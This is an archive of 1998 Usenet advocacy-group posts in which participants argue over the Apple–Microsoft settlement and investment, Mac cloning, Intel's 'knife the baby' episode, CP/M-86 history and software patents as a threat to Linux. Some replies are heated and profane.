Karsten M. Self (kmself@ix.netcom.com)
What part of "Gestalt" don't you understand?
Welchen Teil von "Gestalt" verstehen Sie nicht?
web: http://www.netcom.com/~kmself
SAS/Linux: http://www.netcom.com/~kmself/SAS/SAS4Linux.html
10:41pm up 5 days, 14:55, 3 users, load average: 0.08, 0.04, 0.00
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "Knife the baby" finally appears
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Cc: Limeyville@spamtoNull.com
Organization: needs one
References: <364295A3.ABE8C927@earthlink.net> <19981107182220271838@pm2-2-23.aug.com>
<36462729.BDFBC1C0@spamtoNull.com> <F25z88.HII@t-fcn.net>
<727j1c$mqm@newsb.netnews.att.com> <364A0FCF.C74FA148@spamtoNull.com>
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Date: Fri, 13 Nov 1998 17:16:40 GMT
In <364A0FCF.C74FA148@spamtoNull.com> Jonathan Harker wrote:
> But as I pointed out, Quicktime is still very much around even though
> the deal with MS was completed long ago.
Oh that's rich. Different "deal", as clearly pointed out on about three
separate occasions in this thread.
Maury
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 13 Nov 1998 17:18:29 GMT
Organization: University of Washington, Seattle
Message-ID: <72hpl5$10bs$1@nntp6.u.washington.edu>
References: <364295A3.ABE8C927@earthlink.net> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com>
NNTP-Posting-User: gwangung
In article <adtF2CH1x.MEL@netcom.com>,
Anthony D. Tribelli <adt@netcom.com> wrote:
>Rob Barris (rbarris@quicksilver.com) wrote:
>: adt@netcom.com (Anthony D. Tribelli) wrote:
>
>: > Yep, I read that. I'm not defending Microsoft, just pointing out that
>: > Apple is no shining example of corporate morality. Apple feels threatened
>: > by clones, they attack. Microsoft feels threatened by Netscape and Java,
>: > they attack. Both companies will shed blood.
>:
>: But was Apple's cloning move illegal?
>
>In reality probably not, and many of the heinous acts committed by
>Microsoft are probably not illegal either. However in the original post
>that I responded to someone was suggesting that it is illegal to kill (or
>threaten) another company by denying it software that it needs to survive.
>I just thought I'd give that poster another angle on that theory.
Probably work better if there were no pre-existing legal
agreements, however (i.e., terms of licensing [and not just the existence
of licensing]).
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/a&e/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: Jonathan <jxoxnxvxwxixlxlx@xixaxsxtxaxtxex.xexdxu>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! Pro-Linux people propagating anti-Linux FUD
Date: Fri, 13 Nov 1998 08:46:43 -0600
Organization: Iowa State University
Message-ID: <364C4653.6AB3@xixaxsxtxaxtxex.xexdxu>
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Karsten M. Self wrote:
> As I've said several times, fear is a key weapon in war, whether legal,
> business, or military. If a credible threat is sufficient to deter use
> of OSS, then an actual lawsuit isn't necessary. I'm looking for a way
> to counter this threat.
The most effective I've seen thus far is the "virtually unlimited army
of developers" notion -- that even 'though Microsoft has "virtually
unlimited legal resources" available to try to tie up Linux with patent
litigation, Linux has "virtually unlimited developer resources"
available to program around patents. Even Microsoft has admitted the
efficiency of the Open Source devlopment model outdoes theirs by "an
order of magnitude".
Whether this is comforting to those who want a specific feature is
something else.
Regards,
Jonathan
From: tzs@halcyon.com (Tim Smith)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 13 Nov 1998 10:24:56 -0800
Organization: Institute of Lawsonomy
Message-ID: <72htho$dk8$1@52-a-usw.rb1.blv.nwnexus.net>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <3648abc2.502343982@news.monmouth.com> <72e6pn$mun$1@52-a-usw.rb1.blv.nwnexus.net> <364c4f66.172317930@news.monmouth.com>
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Wilbur Streett <WStreett@shell.monmouth.com> wrote:
>>IBM intended to sublicense CPM-86 through MS, not directly from DR.
>
>Care to provide some proof? IBM knew enough about the industry to know
>where CPM came from. IBM knew and wasn't asking Gates to licence them CPM,
>but to license them tools, (compilers and the like).
Try pretty much any book written about it, including "Gates", which you've
already cited (look around page 155), or look at "Hard Drive" (particularly
around page 174, where Jack Sams of IBM, says "Bill told us if we wanted a
16-bit CP/M, we would have to deal with Kildall. We said 'oops.' We had
really only wanted to deal with one person. Byt now we had to talk to Kildall.
I asked Bill if he would make an appointment for us.")
--Tim Smith
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 13 Nov 1998 13:36:37 -0500
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Chad Irby wrote:
> > I recall absolutely nothing out of these settlements which even *hinted*
> > that MS had ever stolen anything. This is pure fantasy, I'm afraid.
>
> Are you completely stupid, or do you just have weekly amnesia?
>
> Do some research. It's *extremely* public knowledge, and just a step
> below noticing that Microsoft's "expert" on antitrust is employed by
> Microsoft's law firm.
I think you need to do some research on the actual items covered by the
settlement. In the terms of the settlement Apple dropped *all* claims
against Microsoft for *all* past patent infringement disputes, declaring
them all null and void--forever (meaning they can never be raised
again.) At the same time, the settlement spelled out in no uncertain
language that Microsoft *had done nothing wrong and was not admitting to
any wrongdoing.* That's what the settlement says. Further, the
cross-licensing agreement for the five year period from the date of the
settlement means that it can't be raised on current or future software
issues for five years since Microsoft has a legal right to Apple
software technology and Apple has a legal right to Microsoft technology
(the exact scope of each party's legal rights to the other's software
has not been made public.)
The bottom line here is that Apple has officially found Microsoft
blameless and harmless for *any* past patent infringement questions. The
cross-licensing agreement makes it unlikely such disputes will ever
arise again.
Your sentiments on the matter reflect no more than past scuttlebutt,
rumor, and innuendo. The *facts*, as they have been officially stated by
Apple, are that Microsoft is "not guilty" of any of these rumored
offenses.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 13 Nov 1998 13:38:17 -0500
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>
> > You confuse your own self-imposed "order" of events with the substance
> > of events, and you pretend that Microsoft "had" to do the things it did
> > when it's very clear MS did those things when Steve Jobs came begging
> > hat in hand for MS to do those things (and not one minute before.)
>
> There has been *nothing* to back up your little hopeful dream.
The version I relate is precisely the version which occurred. Your
rendition is merely revisionism.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 13 Nov 1998 13:39:57 -0500
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Chad Irby wrote:
>
> In this world, Harker thinks that poor old Steve Jobs will go "hat in
> hand" to Bill Gates to get $150 million, and that Andy Grove is a pushover
> who will wilt when confronted with a threat.
>
That is precisely what occurred. Seems I remember Mac Expo and the
subsequent coverage much better than you do.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 13 Nov 1998 13:48:53 -0500
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Rob Barris wrote:
>
> >
>
> But was Apple's cloning move illegal?
Yes, and the cloners who thought so and were prepared to take action
were bought off. Remember the cool $100,000,000 or so Apple paid Power
Computing for its mailing list?
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 13 Nov 1998 13:47:02 -0500
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"Anthony D. Tribelli" wrote:
>
>
> The cloners did not behave in a manner Apple approved of, they had an
> agenda other than Apple's. Sorry, I see some similarity in the way Apple
> used MacOS to the way Microsoft uses MS Office for MacOS.
>
>
> Yep, I read that. I'm not defending Microsoft, just pointing out that
> Apple is no shining example of corporate morality. Apple feels threatened
> by clones, they attack. Microsoft feels threatened by Netscape and Java,
> they attack. Both companies will shed blood.
>
That's exactly right. Believe it or not, I have no great love for
Microsoft, either. But I can easily see the "heavy hand" of Steve Jobs
at work within what used to be the Mac market--now, the Apple market
exclusively. It is every bit as apparent to me as the "heavy hand" of
Bill Gates in the X86 market. I have difficulty with the hypocrisy which
deems it A-OK for Apple to do "whatever it takes" to protect itself and
its intellectual property, but finds the same behavior on the part of
Microsoft intolerable.
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 12 Nov 1998 17:05:05 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1211981204270001@pm61-46.magicnet.net>
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Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> And "once again", if the mugger hands me $150 million and invests
> millions more in producing products that support my products and thus
> adds even more to my finances, and doesn't even take "the baby", I
> say...mug me every day like that....!
And once again, if the mugger had stolen something from me worth $1.2
billion, and was gong to lose the resulting trial, he's not that much of a
philanthropist.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 13 Nov 1998 14:10:22 -0500
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Rob Barris wrote:
>
>
> OK seriously, Andy Grove himself says that MS threatened them with yanking
> Windows support for MMX and Merced if they didn't "knife the baby". So
> Grove simply lacked the courage to stand up to MS' bullying!
I'm sorry, but this makes little sense to me, I'm afraid. Is it your
position that Intel is unaware of the fact that Microsoft is as
dependent on X86 architecture as Intel is on Windows? If Microsoft were
to "yank support" for Merced, what're they going to support instead?
Which of the X86-compatible processors, like Cyrix and AMD, was likely
to produce a processor with the capability of running NT 5.0 anywhere
near as fast or as efficiently as Merced? I can't think of any. Intel
did AGP, for instance, long before Microsoft supported it in the OS
officially (Win98 being the first MS OS to directly support AGP out of
the box without the requirement for additional patches.) Did "lack of OS
support" for AGP stop Intel from developing and pursuing AGP? Nope. All
Intel did was to write its own drivers to run under Windows until MS
caught up and actually put native support in an out-of-the-box OS. There
are several other Intel technologies which fit this mold, as well.
MMX was an overhyped technology from the beginning. You witnessed how
Intel hyped MMX as the "Second Coming." In fact, the only real
performance increase the MMX design afforded was in the doubling of the
L1 caches in the Pentium design. The MMX code did almost nothing to
speed things up (except in highly specialized circumstances) and in the
case of FPU performance MMX could actually slow things wa-a-a-a-y down.
What's really confusing is how you are relating Apple's Quicktime to
"Merced" and "MMX" in the same breath. I can see far more disadvantage
to Microsoft in not supporting Merced regardless of what Intel did or
didn't do with Quicktime. This just doesn't make sense.
My own opinion is that, like MMX, the so-called DSP technologies were
overhyped internally at Intel, only the DSP projects got canned before
they could be released and shown to be vastly mediocre, like MMX turned
out to be.
>
>
> When MS says they want to preserve consumer choice, come back and read this
> again.
I get just as nervous when Steve Jobs justifies killing Mac cloning in
the interests of "consumer choice" (which he has had the unmitigated
gall to actually do.)...:)
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 13 Nov 1998 14:34:38 -0500
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michael_peck@my-dejanews.com wrote:
>
>
> Unfortunately, most arguments do not stand up to the test of opposition. This
> is why campaign speeches generally are not followed by a question-and-answer
> session. The opinions and arguments of most men are good for little more than
> slogans and rallying-cries.
An excellent point...
>
> Fear is the mind-killer. Put it away and your "old bean" will never stop
> learning. By contrast it is the homey, fearful ones who have so much to lose
> who end up impoverished and shivering in the cold wind of ignorance. They put
> too much value in what they know, and they throw away what they might learn.
> Like overburden'd snails, they carry what they love, but never carry it very
> far...
Well said..!...:)
It often seems for me though that far from "fear itself" being the only
thing to fear, I think I often tire of languishing in a pool of
boredom...:) What's the trite phrase..."No matter how much things
change, the more they remain the same"...? I enjoy change which builds
upon the solid scaffolding of yesterday's meritorious conception. Change
which declares that yesterday is without merit simply because it is
yesterday is what I find tedious. Perhaps I am just getting older...(and
wiser?)....:)
>
> In plain language, the funny ones are those who post to their own advocacy
> newsgroup, ten years late; like undead Romans spreading the Gospel in Latin
> (whoo, I hope I didn't catch any Catholics in that spray).
I have always had a penchant for zombie movies, myself...:)
> It reminds me of
> the advertising banners HP used to put up in HP buildings. Interesting
> strategy...it's sort of like those movies where all the terrorists get
> together and make vehement speeches to each other in Arabic and they finish
> with a big gun-shooting into the air accompanied by whoops and shouting.
Don't forget passing the Tequila around...:) Or maybe nowadays they are
walking around sniffing violently under billowing white dust clouds of
cocaine ...!
>
> Heh, I like that picture :-)
Me too...:)
>
> Warm is warm. But not lukewarm. Welcome :-)
Thanks again...!
From: Toon Moene <toon@moene.indiv.nluug.nl>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 13 Nov 1998 19:55:23 GMT
Organization: Moene Computational Physics, Maartensdijk, The Netherlands
Message-ID: <72i2rb$ndc$1@newnews.nl.uu.net>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36474763.411112238@news.monmouth.com> <727kst$rj6@shelob.afs.com> <3648abc2.502343982@news.monmouth.com> <72e6pn$mun$1@52-a-usw.rb1.blv.nwnexus.net>
tzs@halcyon.com (Tim Smith) wrote:
> IBM intended to sublicense CPM-86 through MS, not directly from DR. Gates
> said MS couldn't do that, and sent them to talk directly to DR, where they
> ran into two problems. (1) DR wouldn't sign the NDA, and (2) CPM-86 was a
> long way from being ready.
That last remark is interesting [ note that I do not know whether it's true ]
because Intel made the 8086 assembly language such that it could be
automatically generated from existing 8080 code. So a flying start for
CP/M-86 was to do this translation and then write the necessary new drivers
(for which DR probably needed to sign the NDA).
--
Toon Moene (mailto:toon@moene.indiv.nluug.nl)
Saturnushof 14, 3738 XG Maartensdijk, The Netherlands
Phone: +31 346 214290; Fax: +31 346 214286
g77 Support: mailto:fortran@gnu.org; egcs: mailto:egcs-bugs@cygnus.com
From: mgiddings@nospam.ypc.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 13 Nov 1998 20:28:37 GMT
Organization: A crock of stellar bovine.
Distribution: world
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In <364B0920.74AB6512@spamtoNull.com> Jonathan Harker wrote:
>
> Spoken with the blindness of a true Mac "Microsoft Hater." Only such a
> person could call $150 million, a version of IE for the Mac, a version
> of Office for the Mac (which cost MS millions), and very public support
> for Apple at a time when Apple desperately needed it, mere "MS Apologist
> spiel."
>
Normally I stay out of these conversations when they degenerate to this
stage. But it looks like some basics of business are in order here for
certain people with the initials JH so that it doesn't degenerate even
further.
Business lesson number one: no major corporation does things like spending
$150 million on shares of a competitor out of "kindness" or on a "whim",
whether it is Steve Jobs or the Dali Lama or anyone else asking. They do
it for a business reason. I hope that concept is not too difficult for you
to grasp. If it is, study for a while and return. Restated with less
words (I know too many words can be confusing): "corporations act out of
self interest, not benevolence".
Next, now that we've got lesson one, if it MS's actions weren't kindness,
what were they? I know this next part may be a hard one to follow, but
let's use some deductive reasoning and break it down piece by piece to help
simplify:
1. This is the basic one. We'll call it investment -> return. We'll use
the example of MS Office, a proven money maker. As with any product it
requires an investment of R&D, and a certain return is expected. So, why
did MS do this investment? They expect a return. YAY!!!! We're through
business lesson number two! It was short, but a bit subtle. If the
subtlety is hard to grasp (as exhibited in certain newsgroup posts) please
study for a while and return before proceeding to part 2.
2. IE for the Mac, as the *default* browser. Now this one may be even more
difficult especially if #1 wasn't fully grasped. Remember Investment ->
return? Ok. Now, take that principle, and apply it to the long term (I
know, it's hard). I'll try to simplify: a) _Invest_ in becoming the
dominant browser on the internet, by *giving* away product now. b) Once
control of the market has been achieved and competition removed, charge
whatever price is desired to produce a return on the investment of part a).
There are other names for this such as "dumping". None of those other
names are "benevolence" (i.e. lesson one).
3. $150 million investment in Apple. Remember investment -> return? You
know, that principle which guides our economy through things like the stock
market? Good. We're coming along. At the time of investment, Apple's
share price was in the mid teens - getting close to "book" value. Meaning
that it was a potentially good investment to make (which was proven true).
Got it? Now here's the tricky part. Why did MS choose Apple (as opposed
to any other stock) in which to make the investment? It certainly wasn't
benevolence. We *know* that as fact (remember the first lesson?). What we
also know is that there was a patent dispute of some type between MS and
Apple that was ongoing at the time (well, at least those of us who pay
attention to the facts know this). We also know that executives of both
companies stated that the investment was spurred on by the settlement of
that dispute. Aha. Now this was hard, but let's simplify. A + B = C. A =
investment -> return. B = patent dispute which would be good for neither
company to pursue in court (i.e. expensive). C = investment of MS in Apple
in return for dropping the suit.
4. Public "support" of Apple announced by MS. Now this is the most subtle
one. I hope you're not lost already. If so, please go back and study
until ready. Remember our basic principle that corporations don't act out
of "good will"? So, we've eliminated that possibility. By deduction, what
possibilities remain? There are a couple. a) MS worried about DOJ
investigation needs to be "seen" doing positive things regarding
competitors, b) it's another part of the deal regarding patent dispute, c)
MS bolsters it sales of Office by publicly announcing a re-commitment to
the Mac version. The facts aren't available to clearly pick a, b, or c.
But the important lesson here is that it was not benevolence. It was MS
acting out of self interest, and if it was doing otherwise it is violating
principle number one.
Ok, we're done with the step by step instruction. What's the take home
message? MS did things it thought would benefit its business. Apple did
things that it thought would benefit its business. Those things happened
to coincide at a certain juncture. Does that preclude the possibility of
illegal tactics as part of the things that either corporation did? NO!!!!!
Hurray, you've got it! Warning, minor curve ahead: does this mean MS is
BAD and Apple is GOOD? Think hard . . . . clock ticking . . . . and the
answer is: NO!!!!! And there was much rejoicing! Finally, if one of the
companies did use illegal tactics, should they be dealt with for that? . .
. Think hard again . . . .and the answer is: YES!!!! I hope you got that
one - I know it's the hardest one of all to comprehend.
The only other important thing worth mentioning to round out our business
lesson is the word "marketing". Question: does marketing reflect reality?
. . . . I know, it's hard, keep thinking . . . . . . . Answer: NO! Does
Microsoft do marketing? Alright, an easy trick question, I'm sorry. You
know the answer. Next question: in marketing is it important to put a
positive light on the company's actions? YES. Now the hardest one of all:
do some unsuspecting consumers fall prey to belief in certain marketing
messages in lieu of reality? . . . . . . . . . . . . . . . you'll get it .
. . . . . . . . . . . . . . .keep trying . . . . . . . . . .answer: YES.
Otherwise marketing wouldn't work! What IS Microsoft's marketing message?
Benevolence. You got it Watson! Microsoft states they are "benevolent"
through marketing. Certain consumers believe that message and repeat the
Mantra: "Microsoft good. Because it helped Apple. Microsoft good. Helps
Apple. It can't break the law, because it's GOOD, it helped Apple!
Microsoft good . . . . Microsoft kind . . . . Microsoft sweet . . . .Helped
Apple . . ."
It was a long lesson, but now that you're through it and thus educated in
the principles of business, I hereby award you a BS degree.
Oh, wait, we forgot this, which exhibits you aren't quite ready yet for the
BS degree:
> You deliberately ignore the facts in evidence (actually you pretend they
> never happened or else that they meant nothing) and you concentrate on
> spurious pieces of email, instead. The fact that Quicktime is still here
> also means nothing to you. Amazing.
>
>
There may be a shortness of evidence in this thread. But there certainly
isn't a shortness of belief in the marketing hype expressed by your
statements. As for spurious e-mail? Hmm. Lets wonder why it is
admissible in a court of law. Better yet, let's wonder how different it is
than someone writing something down on paper: A person has thoughts. A
person relates those thoughts into a language (in this case english). A
person sends the expressed form of those thoughts (e-mail or on paper) to
someone else. Someone else reads the expressed form and reconstructs a
rough version of the original thoughts in their mind, attempting to model
what the sender was intending to convey. Through this process
communication has occurred. Ok, we're back to another subtle point. Is
e-mail any different than paper in this process? Hmm . . not very. So,
by deduction, if e-mails from Bill and Co. are spurious, where does that
leave paper as evidence? It's spurious too? Oh wow, now I've learned
something! Now I understand why it was perfectly fine for Ollie North to
shred all those documents - it was just a bunch of spurious junk! See, the
teacher can learn too!
But, back to the lesson. We can't let excitement over a little reverse
lesson get in the way. The very last thing then the lesson concludes. It
regards Quicktime still being around. Actually, you should have learned
enough through the above lessons that you can piece together the basic
reason why a product can still exist even when a competitor tries to kill
it. I expect a report (no, I didn't say "retort", I said "report")
tomorrow. They maybe you can be conferred the high honor of a BS degree
which you so rightly deserve with all your hard work.
Mike
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 13 Nov 1998 14:48:08 -0500
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Ted Brown wrote:
>
> I don't think that it's a big leap to say that MS did this for no reason.
> They might not have been guilty, and just wanted to avoid a case. Jobs
> indicated that he settled for much less than he could have just to get the
> case out of the way, so MS and Apple could move on.
Of course, bear in mind that it was Amelio who was "holding out"....Jobs
usurped Amelio and then settled the issue as quickly as he could get it
settled. Obviously, what Jobs says he "could have gotten" after he
settled has to be taken with a large grain of salt, since he did not, in
fact, hold out for more. It's not clear that Microsoft would have done
anymore than what it did regardless of how long Jobs might have "held
out."
>
> MS is contractually obligated to provide Mac IE due to a deal with AOL.
Which MS no doubt agreed to do (with AOL.) Do you have some proof you
could offer that would show that AOL made its deal with MS dependent on
a version of IE for the Mac or that MS ever resisted doing a Mac IE? I
see nothing in what you've said that would lead me to believe that
Microsoft ever did a Mac IE against its will.
>
> And which makes MS millions. It also keeps someone from being too
> interested in making a good Office suite for the Mac, which might become
> some real competition later. It wouldn't be the first product to leap from
> the Mac market into the Windows market. Why take the chance, esp when it
> makes MS money?
Exactly. Proof again that voluntary support of the Mac platform simply
makes sense from Microsoft's point of view, since Microsoft is a
software (not hardware/software) company.
>
> The development cost might not even be that big next to the 'undisclosed
> settlement'.
>
Which, as you've said, might be $1 for all we know...:)
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 13 Nov 1998 14:49:49 -0500
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The
> government *does* care if there is a pattern of actions which will
> ultimately hurt consumers and/or the economy (e.g., higher prices, no
> innovation, etc.).
My goodness...You've just perfectly described the Mac--er, Apple
market...:)
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 13 Nov 1998 15:37:02 -0600
Organization: Ericsson Inc.
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mgiddings@nospam.ypc.net wrote:
[cut]
> Business lesson number one: no major corporation does things like spending
> $150 million on shares of a competitor out of "kindness" or on a "whim",
> whether it is Steve Jobs or the Dali Lama or anyone else asking. They do
> it for a business reason. I hope that concept is not too difficult for you
> to grasp. If it is, study for a while and return. Restated with less
> words (I know too many words can be confusing): "corporations act out of
> self interest, not benevolence".
Even more ridiculous than this peabrained pedagoguery is the fact that
you would say this in defense of lawsuits against Microsoft, who surely
acted out of self-interest in doing what it did. No, I'm sorry, the most
ridiculous part is that Apple may act out of self-interest, but
Microsoft, by dint of its size and influence, may not.
Yet you will sit there on your ass at your keyboard and shout idiocy at
some stranger in cyberspace, "corporations act out of self interest, not
benevolence". And then...? Now let us turn our attention to Microsoft,
who, as a "monopoly", is expected to defy this law?
Grow the fuck up.
MJP
:)
Both, I think (if I may be so bold). Even as a youngster I can say that
youth lacks the wisdom of age, but the tradeoff is not without reverse
benefits. It's not *wrong* that I like to tear things down and ask
questions later, and it's not *wrong* that my parents would rather move
more slowly. The problem is when one group learns to despise the other;
the benefits of balance are wiped out.
The wise ones (unwisely) rarely permit the young ones to learn by
mistake. They are much too ready with wagging fingers and nagging
tongues (i.e. "I told you so"). And unfortunately, when the older heads
are wrong, as on occasion they must be, their admonitions become
ammunition in the hands of upstarts. I won't argue the other side
because I'm biased :-)
[cut]
> Don't forget passing the Tequila around...:) Or maybe nowadays they are
> walking around sniffing violently under billowing white dust clouds of
> cocaine ...!
[chuckle]
MJP
From: mgiddings@nospam.ypc.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 13 Nov 1998 20:53:55 GMT
Organization: Crock of stellar bovine
Distribution: world
Message-ID: <72i693$e69$2@coward.cc.utah.edu>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com>
<19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com>
<atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com>
<364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com>
<364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu>
<364CA67E.6C5A5121@exu.ericsson.se>
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NNTP-Posting-Date: 13 Nov 1998 20:53:55 GMT
Cc: eusmpec@exu.ericsson.se
In <364CA67E.6C5A5121@exu.ericsson.se> Michael Peck wrote:
>
> Even more ridiculous than this peabrained pedagoguery is the fact that
> you would say this in defense of lawsuits against Microsoft, who surely
> acted out of self-interest in doing what it did. No, I'm sorry, the most
> ridiculous part is that Apple may act out of self-interest, but
> Microsoft, by dint of its size and influence, may not.
>
I'm sorry. You failed. Try again. This time complete the lesson before
spouting off. In particular, study the part about the fact that neither
Apple nor MS is BAD (or good), but if one of them breaks the law, then it
needs to be dealt with. Very simple, but as warned in the lesson, some
people have real trouble with the simple concept. Thank you for
demonstrating the reason for the warning so well.
> Yet you will sit there on your ass at your keyboard and shout idiocy at
> some stranger in cyberspace, "corporations act out of self interest, not
> benevolence". And then...? Now let us turn our attention to Microsoft,
> who, as a "monopoly", is expected to defy this law?
>
Well, just responding in kind with a bit of tounge in cheek added (as if
you weren't sitting on your ass at your keyboard shouting at some stranger
in cyberspace . . . hmm). But as usual there are people who have trouble
dealing with it when others poke a little well warranted fun at them.
As for the rest, I'll let your words speak for themselves:
> Grow the fuck up.
>
> MJP
>
Mike
From: nws@rollingthunder.demon.co.uk (Anthony Ord)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Thu, 12 Nov 1998 18:04:17 GMT
Message-ID: <364c202b.1403530@news.demon.co.uk>
References: <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <7243tf$4a5@magus.cs.utah.edu> <3645d4ba.1282863@news.cswnet.com>
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On Sun, 08 Nov 1998 17:30:16 GMT, save@cancel.nem wrote:
>>What a non sequitur. There are certainly Republicans that are concerned
>>about Microsoft's power in the software marketplace. Bob Dole formed
>>an organization with Robert Bork to criticize Microsoft's antitrust
>>violations. My senator, Orrin Hatch, has held hearings before the
>>Senate Judiciary Committee regarding Microsoft's practices.
>
>Those hearings were nothing but photo ops and vote getters.
Obviously. These are politicians. They don't blow their nose without
it being a photo opportunity. They will even try to get a sound bite
out of it too. ;-)
Regards
Anthony
===============================================================
|'All kids love log!' |
| Ren & Stimpy |
===============================================================
From: nws@rollingthunder.demon.co.uk (Anthony Ord)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Thu, 12 Nov 1998 18:04:16 GMT
Message-ID: <364b1f14.1124576@news.demon.co.uk>
References: <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <qv6ogqf6nay.fsf@physp43.phys.canterbury.ac.nz> <36493AF7.BDFE3CAA@ix.netcom.com>
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On Wed, 11 Nov 1998 07:21:27 +0000, "Karsten M. Self"
<kmself@ix.netcom.com> wrote:
>Ryurick M. Hristev wrote:
>>
>> "Karsten M. Self" <kmself@ix.netcom.com> writes:
>>
>> > Ryurick M. Hristev wrote:
>> > >
>> > > "Karsten M. Self" <kmself@ix.netcom.com> writes:
>> >
>> > > > There's even the possibility that Microsoft could encourage others to do
>> > > > its dirty work for it. The Wang v. Netscape "save as" suit this spring
>> > > > (dismissed by the court) certainly has a funny smell to it. Microsoft
>> > > > acquired a 10% stake in Wang following the companies' own patent
>> > > > skirmish.
>>
>> [...]
>>
>> > > This is just FUD.
>>
>> [...]
>>
>> > Further, patent infringement applies equally to manufacture, sale, or
>> > use. Your example of moving devlopment offshore would help software
>> > developers, but would do nothing to protect the interests of US-based
>> ^^^^^^^^
>> And who's fault is if US have (IMHO) moronic laws with respect to
>> so called "software" patents and cryptography ? So, these
>> "US-based vendors or users" have nothing to say about the abuse of
>> patent law ?
>
>Ryurick, I'm afraid we're going to have to agree to disagree here.
>
>My position is this:
>
> - For better or worse, SW patents exist, in the US, Japan, and a number
>of European nations. I don't know specifics, IANAL.
They don't exist in the EU. The international treaty that patents are
based on explicitly prohibits ideas being patented. You have to have
something physical to patent. The US have taken the step that this is
not the case and wish the rest of the world to fall in line. Reverse
Engineering is also legal in the EU. Copyright infringement is not.
Strong encryption is illegal in some countries in the EU.
> - The status quo appears to put OSS at a disadvantage in the patent
>field.
>
> - Patents in and of themselves are neither good nor bad.
>
> - Patents can be the independent developer's best friend. They need to
>be used, and used well. Several folks in the OSS community have done
>quite well by IP.
Copyright is the independent developer's best friend. Patents are very
expensive to defend.
>Your position appears to be "SW patents are bad and I'm going to pretend
>they don't exist". You're also welcome to turn off compiler warnings on
>your next build. It'll do you about as much good. My approach is that
>some things exist, and might be put to creative good use. If you'll
>take off your blinders here, you might find a rather interesting world
>with some tantalizing possibilities.
Regards
Anthony
===============================================================
|'All kids love log!' |
| Ren & Stimpy |
===============================================================
